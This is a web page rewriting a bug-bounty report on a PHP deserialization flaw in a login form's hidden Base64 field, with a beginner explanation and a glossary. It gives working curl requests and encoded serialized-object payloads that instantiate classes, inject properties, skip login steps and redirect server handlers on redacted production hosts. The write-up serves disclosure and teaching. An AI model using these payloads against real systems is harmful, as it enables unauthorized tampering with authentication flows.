From a Strange Base64 Parameter to a Critical PHP Deserialization Vulnerability
A hidden login form field contained Base64-encoded PHP serialized state that the server deserialized without validation, allowing an unauthenticated attacker to instantiate arbitrary classes and control properties that drive application logic. This enabled forcing the server into a confirm-password step and influencing which backend function handled the request.
Published on babycoder143.medium.com
Bug Bounty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a web application's login flow. The feature at the centre of the finding is an ordinary login form, but one that carries its own server-side state in a hidden field. On every submission the browser sends that state back, and the backend uses it to decide what the form is doing: which step the user is on, which step comes next, and which server-side function handles the submission.
The hidden field's name is itself Base64. Decoded, it reads published/login. Its value is Base64 too, and underneath that is PHP-serialised application state, beginning with a:11:{s:8:"formData";.... That is PHP's native format for a serialised array, but the same format can represent objects, and nothing on the server checked which of the two it was receiving before processing it.
The same field appeared identically on two related production subdomains, referred to here as agents.[REDACTED].com and siteadmin.[REDACTED].com, which points to a shared underlying pagelet framework rather than the code of a single application. A legacy third subdomain, vm5.[REDACTED].com, was checked and did not expose the vulnerable field, which helped scope which surfaces were actually affected.
Setup
No account, session or prior interaction was needed. Every test started from a completely fresh, unauthenticated session, and the tooling was Burp Suite for inspecting the login request plus curl for replaying and modifying it. Every test started from a completely fresh, unauthenticated session.
Finding it
While inspecting the login request in Burp Suite, the hidden field stood out because its value decoded to structured PHP serialised data rather than an opaque token. The name decoded from:
cHVibGlzaGVkL2xvZ2lu
to:
published/login
and the value decoded to PHP serialised data beginning with:
a:11:{s:8:"formData";...
That raised the obvious question: if the server accepts a serialised array here, will it accept a serialised object in its place? A first test using the application's own PgForm class changed the server's response completely, which confirmed that the object was actually being built and processed rather than ignored. From there, individual properties inside the object, currentStepName, toStep and submitFunction, were changed one at a time, and each produced a different, measurable server-side behaviour, including forcing the application straight into its confirm-password workflow without going through the normal steps.
Exploitation
Step 1: Pull the legitimate form state
Start a fresh, unauthenticated session and request the login page:
curl -s -c jar -b jar \ 'https: -o login.html
Inside login.html is the hidden field:
<input type='hidden' name='cHVibGlzaGVkL2xvZ2lu' id='cHVibGlzaGVkL2xvZ2lu' value='BASE64_SERIALIZED_STATE' />
Extract the value directly from the saved file:
grep -Eo "name='cHVibGlzaGVkL2xvZ2lu'[^>]*value='[^']*'" login.html
This gives the exact state the application hands to a normal visitor, which is the starting point for every later modification.
Step 2: Confirm it is real PHP serialised data, not a token
Decode the value pulled from login.html in Step 1:
import base64value = "BASE64_VALUE_FROM_LOGIN_PAGE"decoded = base64.b64decode(value)print(decoded[:500])
The output begins a:11:{s:8:"formData";..., which is genuine PHP-serialised array data. This step matters because it rules out the field being a random anti-CSRF token: it is live, structured application state.
Step 3: Establish the clean baseline
Encode a trivial empty array, a:0:{}, to Base64: YTowOnt9. Submit it in place of the real state:
curl -s -c jar -b jar -X POST \ 'https://agents.[REDACTED].com/login/details?rd=Lw==' \ -F 'step=details' \ -F 'Username=u' \ -F 'Password=p' \ -F 'Login=Login' \ -F 'cHVibGlzaGVkL2xvZ2lu=YTowOnt9' \ -w 'HTTP %{http_code} size=%{size_download}\n' \ -o /dev/null
The result is HTTP 200 with a size of roughly 38,500 bytes, the normal login page. This is the control result every later test is measured against.
Step 4: Submit an object instead of an array
Encode O:8:"stdClass":0:{} to Base64: Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
curl -s -c jar -b jar -X POST \ 'https: -F 'step=details' -F 'Username=u' -F 'Password=p' -F 'Login=Login' \ -F 'cHVibGlzaGVkL2xvZ2lu=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==' \ -w 'HTTP %{http_code} size=%{size_download}\n'
The response is "An internal error occurred.", a tiny 74-byte body, completely different from the 38.5 KB baseline. The same 74-byte error also reproduced with O:8:"DateTime":0:{} and with a made-up class, O:13:"QxZxWxNoSuch9":0:{}. That shows the server attempts to instantiate whatever class name it is given, without validating the type first, and simply fails generically when the class is not one it specifically expects.
Step 5: Hit the application's own class
Encode O:6:"PgForm":0:{} to Base64: Tzo2OiJQZ0Zvcm0iOjA6e30=
curl -s -c jar -b jar -X POST \ 'https: -F 'step=details' -F 'Username=u' -F 'Password=p' -F 'Login=Login' \ -F 'cHVibGlzaGVkL2xvZ2lu=Tzo2OiJQZ0Zvcm0iOjA6e30=' \ -w 'HTTP %{http_code} size=%{size_download}\n'
The response is "The step name details does not exist.", which is not the generic 74-byte error. It is a framework-specific message that only makes sense if the server actually built a PgForm object and then tried to look up a step on it. This is the proof that the injected class is real application code rather than a dead-end guess.
Step 6: Prove properties are read, not discarded
Encode O:6:"PgForm":1:{s:13:"currentStepName";s:7:"details";} to Base64:
[redacted]
The result is HTTP 200 and the normal login page again, the same as the baseline. The direct comparison is:
O:6:"PgForm":0:{} (no property set) → "The step name details does not exist."O:6:"PgForm":1:{...currentStepName=details} (property set) → Normal login page, HTTP 200
The only difference between the two requests is one attacker-supplied property, and that single change flips the server's behaviour. The property is not decorative; it is consumed by real logic inside the application.
Step 7: Force the server through a state it should not allow yet
Pull a fresh form state by repeating Step 1 on a brand-new session. Decode it, and inside it find the Login button's buttonInfo structure containing:
toStep = "details"
Change this value to:
toStep = "confirm-password"
Because PHP serialisation encodes the length of every string, changing toStep also means updating the length prefix directly before it in the serialised blob, so the structure still parses:
s:7:"details" → s:16:"confirm-password"
Re-encode the whole modified structure to Base64 and submit it while pressing Login, from that same fresh, unauthenticated session. The result:
step = confirm-passwordPassword input: presentConfirm button: presentcurrentStepName = "confirm-password"stepsPrepared = [details, confirm-password]
The server generated this page itself and issued a new serialised state reflecting the forced step. This was not a client-side redirect or a JavaScript trick: the backend advanced its own state machine on command. The same edit, applied to the state returned from /login/forgot-password instead, produced the same jump to confirm-password from that entry point too.
Step 8: Redirect which server-side function handles the request
Pull a fresh state from /login/forgot-password, locate the ResetPassword button's submitFunction value, and swap it one value at a time while resubmitting the corresponding form:
submitFunction=ResetPassword (legitimate) → 19,255 bytes, normal reset flowsubmitFunction=TryLogin → 74 bytes, "An internal error occurred."submitFunction=ConfirmPassword → 74 bytes, "An internal error occurred."submitFunction=CancelRecord → 0 bytes, empty responsesubmitFunction=Delete → 74 bytes, "An internal error occurred."submitFunction=ZZZ (garbage) → 74 bytes, "An internal error occurred."
Six different values produced six distinguishable outcomes by size and content. That rules out the value being read and ignored: it is routed somewhere real inside the backend's dispatch logic.
Step 9: Confirm it is not a one-off on a single app
Repeat Step 5's exact payload (O:6:"PgForm":0:{}) against the second host:
curl -s -c jar -b jar -X POST \ 'https: -F 'step=details' -F 'Username=u' -F 'Password=p' -F 'Login=Login' \ -F 'cHVibGlzaGVkL2xvZ2lu=Tzo2OiJQZ0Zvcm0iOjA6e30='
The result is the identical "The step name details does not exist.": the same framework bug on a second production surface, with no code changes needed to reproduce it there.
The full chain
Unauthenticated client → edits hidden field value → Base64-decoded by server → PHP-deserialized by server → attacker-chosen class instantiated (PgForm, Step 5) → attacker-set property read (currentStepName, Step 6) → server state machine transitions on command (toStep, Step 7) → server handler dispatch selected by attacker value (submitFunction, Step 8) → reproduced on a second production host (Step 9)
Root cause
The browser is allowed to hold state that decides which class gets built and which function runs. The server Base64-decodes the hidden field, PHP-deserializes it, instantiates whatever class name it finds, and then reads properties from that object inside real application logic: the current step name, the next step, and the submit handler. Nothing on the server checked which type it was receiving before processing it. Unknown classes fail generically, but the application's own classes such as PgForm are accepted and processed.
Because the same pagelet framework serves both production hosts, the flaw is in shared code rather than in one application, which is why the identical payload works on the second host without modification.
Impact
- Unauthenticated, single-request exploitation: no session, credentials or prior interaction needed.
- Arbitrary class selection: the server instantiates whatever class name it is given.
PgFormwas proven exploitable, and other internal classes may behave similarly. - Property injection reaches real logic, shown directly by the Step 6 differential.
- State-machine bypass: the server was forced into
confirm-password, a step that should only follow a completeddetailsstep. - Handler-dispatch influence: the attacker's value decided which backend function ran, as shown in Step 8.
- Shared-framework exposure: the identical bug on two production hosts implies the same flaw likely exists anywhere else built on this pagelet framework, including an
/ajax/server-callendpoint flagged for follow-up but not tested in this report. - Not claimed: remote code execution. No gadget chain was built or run. The work proves the injection primitive and its reach into framework logic, deliberately stopping short of RCE.
- No customer data was accessed, modified or exfiltrated during any of the testing.
- The program's own triage rated the finding critical severity and issued a bounty for it, confirming the impact independently of the researcher's own assessment.
Fix
The long-term fix, as the researcher frames it, is not filtering bad class names but never letting the browser hold state that decides which class gets built or which function runs, unless that state carries a server-verified signature.
Variants to test
- Look for hidden fields whose names or values are Base64 and whose decoded value starts with
a:orO:. A positive result is a decoded value that parses as PHP serialisation and changes server behaviour when edited. - Replace the expected array with
O:8:"stdClass":0:{}. A positive result is a response that differs in size or content from the baseline, especially a generic internal error. - Guess the application's own class names from source, error messages or framework conventions and submit them as empty objects. A positive result is a framework-specific error message instead of a generic one, as with
PgForm. - Add a single property to a known class and compare against the empty object. A positive result is the response flipping back to normal behaviour, proving the property is read.
- Edit a step or state field inside a fresh serialised blob, adjusting the string length prefix, and resubmit. A positive result is the server rendering a later step it should not allow yet and issuing new state reflecting it.
- Swap a handler or function name field one value at a time. A positive result is distinguishable outcomes by response size and content across the different values.
- Repeat the working payload against every host that shares the framework. A positive result is the same framework-specific error on each host with no modification.
- Check related endpoints that consume the same state, such as AJAX or server-call routes. A positive result is the same deserialisation behaviour reachable from those endpoints.
What happened, in plain words
A website's login page had a hidden field in its form. Hidden fields are normal: they are little boxes of data that the page carries along with the form but does not show to the visitor. Usually they hold harmless things like which page you came from.
This one was different. Its contents were not a random string. They were a complete description of what the login form was doing, written in a format that the server's programming language (PHP) uses to store and rebuild data. Every time you pressed a button, your browser sent that description back, and the server rebuilt it and acted on it.
The problem: the server never checked that the description was the harmless kind it expected. It would happily rebuild anything the browser sent, including instructions to build a different kind of internal object, and then it would read settings out of that object and use them to decide what to do next. In security terms, this is a deserialisation vulnerability: the server turns untrusted text back into live objects and trusts them.
By editing that hidden field, the researcher could make the server jump to a later step of the login flow, and could choose which internal function handled the request. No account was needed. The same flaw was found on two production websites that share the same underlying code. The program's own triage rated it critical severity and issued a bounty for it. The researcher did not go as far as running their own code on the server (remote code execution); they proved the door was open and stopped there.
A useful everyday comparison: imagine a hotel receptionist who accepts a note from a guest saying "give me the master key and skip the payment step", and does it because the note is written on hotel stationery. The note looks official, but the guest wrote it. Here, the browser writes the note and the server obeys it.
The target and the feature
- Web application: a program you use through a browser, where the heavy work happens on a remote computer (the server).
- Login flow: the sequence of pages you go through to sign in, often several steps: enter details, then confirm a password, and so on.
- Hidden field: an input in an HTML form that the browser sends but does not display. It is just a name and a value.
- Base64: a way of writing any data using only letters, digits and a couple of symbols, so it can travel safely inside text. It is encoding, not encryption: anyone can decode it. Think of it as a standard envelope, not a locked box.
- PHP serialisation: PHP's own text format for turning data (arrays, objects) into a string, and back again.
a:11:{...}means "an array with 11 entries";O:6:"PgForm":...means "an object of class PgForm". - Class and object: a class is a blueprint in code (for example, a form blueprint). An object is one thing built from that blueprint, with its own settings (properties).
- Property: a named setting inside an object, such as
currentStepName. - State machine: code that tracks which step a process is on and which step is allowed next. A login flow is a small state machine.
- Subdomain: the part before the main domain, like
agentsinagents.example.com. Different subdomains can be different applications, or the same application served under different names. - Pagelet framework: shared code that builds pages out of reusable pieces. If two sites use it, a bug in it appears on both.
The hidden field's name was itself Base64. Decoded, it read published/login. Its value was Base64 too, and underneath that sat PHP-serialised application state beginning with a:11:{s:8:"formData";.... That is PHP's format for an array, but the same format can describe objects, and nothing on the server checked which of the two it was receiving.
The field appeared identically on two related production subdomains, written here as agents.[REDACTED].com and siteadmin.[REDACTED].com. That points at shared framework code rather than one application. A legacy third subdomain, vm5.[REDACTED].com, was checked and did not expose the field, which helped work out which surfaces were affected.
Setup
No account, session or prior interaction was needed. Every test started from a completely fresh, unauthenticated session. The tools were Burp Suite, to look at the login request, and curl, a command-line tool that sends web requests and prints the responses.
Finding it
While inspecting the login request in Burp Suite, the hidden field stood out because its value decoded to structured PHP data rather than an opaque token. A token here means a random-looking string a server hands out and later checks, such as an anti-CSRF token used to prove a form came from the real page. Random tokens carry no meaning; this value did.
The name decoded from:
cHVibGlzaGVkL2xvZ2lu
to:
published/login
and the value decoded to PHP serialised data beginning with:
a:11:{s:8:"formData";...
Line by line: the first block is the Base64 text exactly as it sat in the form. The second block is what you get after decoding it: a plain path-like name. The third block is the start of the decoded value: a:11: says an array of 11 items, { opens it, s:8:"formData" says a string of 8 characters spelling formData, and the ... stands for the rest.
That raised the obvious question: if the server accepts a serialised array here, will it accept a serialised object in its place? A first test using the application's own PgForm class changed the server's response completely, which confirmed the object was actually being built and processed rather than ignored. From there, individual properties inside the object, currentStepName, toStep and submitFunction, were changed one at a time. Each produced a different, measurable server-side behaviour, including forcing the application straight into its confirm-password workflow without going through the normal steps.

Exploitation
Step 1: Pull the legitimate form state
Start a fresh, unauthenticated session and request the login page:
curl -s -c jar -b jar \ 'https: -o login.html
Line by line: curl is the request tool. -s keeps it quiet, hiding progress noise. -c jar writes cookies the server sets into a file called jar, and -b jar sends cookies from that same file, so the session is kept between requests. The quoted part is the address being requested; in the published text it is cut off after 'https:. -o login.html saves the response body into a file called login.html instead of printing it.
Inside login.html is the hidden field:
<input type='hidden' name='cHVibGlzaGVkL2xvZ2lu' id='cHVibGlzaGVkL2xvZ2lu' value='BASE64_SERIALIZED_STATE' />
Line by line: <input> is a form field. type='hidden' means the browser does not display it. name is the label the browser sends with the value; here it is the Base64 string. id is the page's internal identifier for the element. value is the data itself, shown as the placeholder BASE64_SERIALIZED_STATE because the real value is long.
Extract the value directly from the saved file:
grep -Eo "name='cHVibGlzaGVkL2xvZ2lu'[^>]*value='[^']*'" login.html
Line by line: grep searches text. -E allows richer patterns, -o prints only the matching part rather than the whole line. The pattern looks for the field name, then [^>]* (any characters except >, so it stays inside the tag), then value=' and [^']* (any characters except a quote), capturing the value. login.html is the file to search.
This gives the exact state the application hands to a normal visitor, which is the starting point for every later modification. You need the genuine article before you can tell what changing it does.
Step 2: Confirm it is real PHP serialised data, not a token
Decode the value pulled from login.html in Step 1:
import base64value = "BASE64_VALUE_FROM_LOGIN_PAGE"decoded = base64.b64decode(value)print(decoded[:500])
Line by line: import base64 loads Python's built-in Base64 tools. value = "BASE64_VALUE_FROM_LOGIN_PAGE" is a placeholder where the extracted string goes. base64.b64decode(value) turns the Base64 text back into raw bytes. print(decoded[:500]) shows the first 500 bytes, enough to see the format without flooding the screen.
The output begins a:11:{s:8:"formData";..., which is genuine PHP-serialised array data. This step matters because it rules out the field being a random anti-CSRF token: it is live, structured application state. If it were a random token, decoding it would give meaningless bytes, and editing it would only ever cause a rejection.
Step 3: Establish the clean baseline
Encode a trivial empty array, a:0:{}, to Base64: YTowOnt9. Submit it in place of the real state:
curl -s -c jar -b jar -X POST \ 'https://agents.[REDACTED].com/login/details?rd=Lw==' \ -F 'step=details' \ -F 'Username=u' \ -F 'Password=p' \ -F 'Login=Login' \ -F 'cHVibGlzaGVkL2xvZ2lu=YTowOnt9' \ -w 'HTTP %{http_code} size=%{size_download}\n' \ -o /dev/null
Line by line: -X POST sends a form submission rather than a page request. The URL is the login details endpoint on the first host, with ?rd=Lw== a parameter (itself Base64) that the page uses. Each -F adds one form field: step=details, a username u, a password p, the Login button, and finally the hidden field with our empty array YTowOnt9. -w prints a summary after the request: the HTTP status code and the downloaded size. -o /dev/null throws the body away, since only the summary matters here.
A baseline is the normal result you compare everything else against. The result is HTTP 200 with a size of roughly 38,500 bytes, the normal login page. HTTP 200 means the server answered normally. This is the control result every later test is measured against: if a change produces something other than this, the change did something.
Step 4: Submit an object instead of an array
Encode O:8:"stdClass":0:{} to Base64: Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
curl -s -c jar -b jar -X POST \ 'https: -F 'step=details' -F 'Username=u' -F 'Password=p' -F 'Login=Login' \ -F 'cHVibGlzaGVkL2xvZ2lu=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==' \ -w 'HTTP %{http_code} size=%{size_download}\n'
Line by line: this is the same request as Step 3, with one difference: the hidden field now carries Tzo4OiJzdGRDbGFzcyI6MDp7fQ==, which decodes to O:8:"stdClass":0:{}. In PHP serialisation, O: means object, 8:"stdClass" is the class name (PHP's built-in empty class), 0 means no properties, and {} closes it. The URL is again cut off after 'https: in the published text.
The response is "An internal error occurred.", a tiny 74-byte body, completely different from the 38.5 KB baseline. The same 74-byte error also reproduced with O:8:"DateTime":0:{} and with a made-up class, O:13:"QxZxWxNoSuch9":0:{}. That shows the server attempts to instantiate whatever class name it is given, without validating the type first, and simply fails generically when the class is not one it specifically expects.
Why this matters: an array and an object are different shapes of data. The form expects an array. Sending an object and getting a different response proves the server tried to build the object rather than rejecting the shape outright.
Step 5: Hit the application's own class
Encode O:6:"PgForm":0:{} to Base64: Tzo2OiJQZ0Zvcm0iOjA6e30=
curl -s -c jar -b jar -X POST \ 'https: -F 'step=details' -F 'Username=u' -F 'Password=p' -F 'Login=Login' \ -F 'cHVibGlzaGVkL2xvZ2lu=Tzo2OiJQZ0Zvcm0iOjA6e30=' \ -w 'HTTP %{http_code} size=%{size_download}\n'
Line by line: same request again, but the hidden field now carries Tzo2OiJQZ0Zvcm0iOjA6e30=, which decodes to O:6:"PgForm":0:{}: an object of the application's own PgForm class with no properties set.
The response is "The step name details does not exist.", which is not the generic 74-byte error. It is a framework-specific message that only makes sense if the server actually built a PgForm object and then tried to look up a step on it. This is the proof that the injected class is real application code rather than a dead-end guess. A made-up class fails with a shrug; a real class fails with a sentence about steps, which means the application's own logic ran.
Step 6: Prove properties are read, not discarded
Encode O:6:"PgForm":1:{s:13:"currentStepName";s:7:"details";} to Base64:
[redacted]
Line by line: the first block is the Base64 of the payload. Decoded, it is O:6:"PgForm":1:{s:13:"currentStepName";s:7:"details";}: an object of class PgForm with 1 property, whose name is a 13-character string currentStepName and whose value is a 7-character string details. The curl command is the same as before, with that Base64 in the hidden field.
The result is HTTP 200 and the normal login page again, the same as the baseline. The direct comparison is:
O:6:"PgForm":0:{} (no property set) → "The step name details does not exist."O:6:"PgForm":1:{...currentStepName=details} (property set) → Normal login page, HTTP 200
Line by line: the left column is the payload sent, with a note on whether a property was set. The right column is what came back. The only difference between the two requests is one attacker-supplied property, and that single change flips the server's behaviour. The property is not decorative; it is consumed by real logic inside the application. This is called property injection: putting a setting into an object the server builds, and having the server act on it.
Step 7: Force the server through a state it should not allow yet
Pull a fresh form state by repeating Step 1 on a brand-new session. Decode it, and inside it find the Login button's buttonInfo structure containing:
toStep = "details"
Change this value to:
toStep = "confirm-password"
Line by line: toStep is the property that says which step comes next. Normally the Login button leads to details. The edit makes it lead to confirm-password, a step that should only be reachable after details are filled in.
Because PHP serialisation encodes the length of every string, changing toStep also means updating the length prefix directly before it in the serialised blob, so the structure still parses:
s:7:"details" → s:16:"confirm-password"
Line by line: s: means string, the number is how many characters follow, and the quoted text is the content. details has 7 characters; confirm-password has 16. If you change the word but not the number, the parser reads the wrong number of characters and the whole blob breaks. This is like a parcel label that states the weight: change the contents, update the label.
Re-encode the whole modified structure to Base64 and submit it while pressing Login, from that same fresh, unauthenticated session. The result:
step = confirm-passwordPassword input: presentConfirm button: presentcurrentStepName = "confirm-password"stepsPrepared = [details, confirm-password]
Line by line: step = confirm-password is the page the server rendered. Password input: present and Confirm button: present say the page contains a password box and a confirm button. currentStepName is the object's own idea of where it is, now confirm-password. stepsPrepared lists the steps the server has lined up: details then confirm-password.
The server generated this page itself and issued a new serialised state reflecting the forced step. This was not a client-side redirect or a JavaScript trick: the backend advanced its own state machine on command. The same edit, applied to the state returned from /login/forgot-password instead, produced the same jump to confirm-password from that entry point too. A client-side redirect would be the browser being told to go somewhere; here the server itself decided the new step and built the page for it.
Step 8: Redirect which server-side function handles the request
Pull a fresh state from /login/forgot-password, locate the ResetPassword button's submitFunction value, and swap it one value at a time while resubmitting the corresponding form:
submitFunction=ResetPassword (legitimate) → 19,255 bytes, normal reset flowsubmitFunction=TryLogin → 74 bytes, "An internal error occurred."submitFunction=ConfirmPassword → 74 bytes, "An internal error occurred."submitFunction=CancelRecord → 0 bytes, empty responsesubmitFunction=Delete → 74 bytes, "An internal error occurred."submitFunction=ZZZ (garbage) → 74 bytes, "An internal error occurred."
Line by line: submitFunction is the name of the server-side function that should handle the button press. The legitimate value is ResetPassword, which gives a 19,255-byte normal reset page. TryLogin, ConfirmPassword, Delete and the nonsense ZZZ each give the 74-byte internal error. CancelRecord gives a 0-byte empty response, a different outcome again. Six different values produced six distinguishable outcomes by size and content. That rules out the value being read and ignored: it is routed somewhere real inside the backend's dispatch logic. Dispatch means choosing which piece of code runs for a request.
Step 9: Confirm it is not a one-off on a single app
Repeat Step 5's exact payload (O:6:"PgForm":0:{}) against the second host:
curl -s -c jar -b jar -X POST \ 'https: -F 'step=details' -F 'Username=u' -F 'Password=p' -F 'Login=Login' \ -F 'cHVibGlzaGVkL2xvZ2lu=Tzo2OiJQZ0Zvcm0iOjA6e30='
Line by line: identical to Step 5, with the same Base64 payload, aimed at the second host (the address is cut off after 'https: in the published text).
The result is the identical "The step name details does not exist.": the same framework bug on a second production surface, with no code changes needed to reproduce it there. If a bug only works on one site, it might be that site's mistake. If the same payload works unchanged on two sites, the mistake is in the code they share.
The full chain
Unauthenticated client → edits hidden field value → Base64-decoded by server → PHP-deserialized by server → attacker-chosen class instantiated (PgForm, Step 5) → attacker-set property read (currentStepName, Step 6) → server state machine transitions on command (toStep, Step 7) → server handler dispatch selected by attacker value (submitFunction, Step 8) → reproduced on a second production host (Step 9)
Line by line: an unauthenticated client is a visitor with no account or session. They edit the hidden field. The server Base64-decodes it, then PHP-deserializes it, then builds the class named in it. It reads a property the attacker set, moves its state machine to a step the attacker chose, and picks a handler based on an attacker value. The same thing works on a second host. Each arrow is one link in the chain, and each was proven by its own step.
Root cause
The browser is allowed to hold state that decides which class gets built and which function runs. The server Base64-decodes the hidden field, PHP-deserializes it, instantiates whatever class name it finds, and then reads properties from that object inside real application logic: the current step name, the next step, and the submit handler. Nothing on the server checked which type it was receiving before processing it. An allowlist is a list of things explicitly permitted; anything not on it is refused. Unknown classes fail generically, but the application's own classes such as PgForm are accepted and processed.
Because the same pagelet framework serves both production hosts, the flaw is in shared code rather than in one application, which is why the identical payload works on the second host without modification.
Impact
- Unauthenticated, single-request exploitation: no session, credentials or prior interaction needed.
- Arbitrary class selection: the server instantiates whatever class name it is given.
PgFormwas proven exploitable, and other internal classes may behave similarly. - Property injection reaches real logic, shown directly by the Step 6 differential.
- State-machine bypass: the server was forced into
confirm-password, a step that should only follow a completeddetailsstep. - Handler-dispatch influence: the attacker's value decided which backend function ran, as shown in Step 8.
- Shared-framework exposure: the identical bug on two production hosts implies the same flaw likely exists anywhere else built on this pagelet framework, including an
/ajax/server-callendpoint flagged for follow-up but not tested in this report. - Not claimed: remote code execution. No gadget chain was built or run. The work proves the injection primitive and its reach into framework logic, deliberately stopping short of RCE. A gadget chain is a sequence of existing code pieces stitched together to do something the attacker wants; remote code execution (RCE) means running your own code on the server.
- No customer data was accessed, modified or exfiltrated during any of the testing.
- The program's own triage rated the finding critical severity and issued a bounty for it, confirming the impact independently of the researcher's own assessment. Triage is the programme's first review of a report, where they decide whether it is real and how serious.
Fix
The long-term fix, as the researcher frames it, is not filtering bad class names but never letting the browser hold state that decides which class gets built or which function runs, unless that state carries a server-verified signature. A signature here is a cryptographic stamp the server can check, so that edited data is detected before it is used.
Variants to test
- Look for hidden fields whose names or values are Base64 and whose decoded value starts with
a:orO:. A positive result is a decoded value that parses as PHP serialisation and changes server behaviour when edited. - Replace the expected array with
O:8:"stdClass":0:{}. A positive result is a response that differs in size or content from the baseline, especially a generic internal error. - Guess the application's own class names from source, error messages or framework conventions and submit them as empty objects. A positive result is a framework-specific error message instead of a generic one, as with
PgForm. - Add a single property to a known class and compare against the empty object. A positive result is the response flipping back to normal behaviour, proving the property is read.
- Edit a step or state field inside a fresh serialised blob, adjusting the string length prefix, and resubmit. A positive result is the server rendering a later step it should not allow yet and issuing new state reflecting it.
- Swap a handler or function name field one value at a time. A positive result is distinguishable outcomes by response size and content across the different values.
- Repeat the working payload against every host that shares the framework. A positive result is the same framework-specific error on each host with no modification.
- Check related endpoints that consume the same state, such as AJAX or server-call routes. A positive result is the same deserialisation behaviour reachable from those endpoints. AJAX is a request a page makes in the background, without reloading the whole page.
Glossary
- AJAX: a background request a web page makes without reloading the whole page.
- Allowlist: a list of things explicitly permitted; anything not on it is refused.
- Anti-CSRF token: a random value a server puts in a form and checks on submission, to prove the form came from the real page.
- Array: an ordered collection of values, in PHP written as
a:.... - Base64: an encoding that turns any data into letters, digits and a few symbols so it can travel as text. Not encryption; anyone can decode it.
- Baseline: the normal, unmodified result you compare later tests against.
- Burp Suite: a tool for inspecting and editing web requests between browser and server.
- Class: a blueprint in code from which objects are built.
- Client-side redirect: the browser being told to go to another page, as opposed to the server deciding the next step itself.
- Cookie: a small piece of data a server asks the browser to store and send back on later requests, often used to keep you signed in.
- curl: a command-line tool that sends web requests and prints the responses.
- Deserialisation: turning stored text back into live data or objects in a program.
- Dispatch: choosing which piece of code handles a request.
- Endpoint: a specific address on a server that accepts requests, such as
/login/details. - Gadget chain: a sequence of existing code pieces stitched together to do something the attacker wants.
- Hidden field: a form input the browser sends but does not display.
- HTTP 200: the status code meaning the server answered normally.
- Object: one thing built from a class, with its own settings (properties).
- Pagelet framework: shared code that builds pages out of reusable pieces, used by several sites.
- PHP: a programming language commonly used for websites.
- PHP serialisation: PHP's text format for turning arrays and objects into a string and back, using markers like
a:for array andO:for object. - Property: a named setting inside an object.
- Property injection: putting a setting into an object the server builds, so the server acts on it.
- Remote code execution (RCE): running your own code on a server.
- Serialised state: data turned into a string so it can be stored or sent, then rebuilt later.
- Signature: a cryptographic stamp the server can check, so edited data is detected before use.
- Token: a random-looking string a server hands out and later checks; it carries no meaning itself.
- Triage: a programme's first review of a report, deciding whether it is real and how serious.
- Unauthenticated: without an account, session or prior sign-in.
- Web application: a program used through a browser, with the work done on a remote server.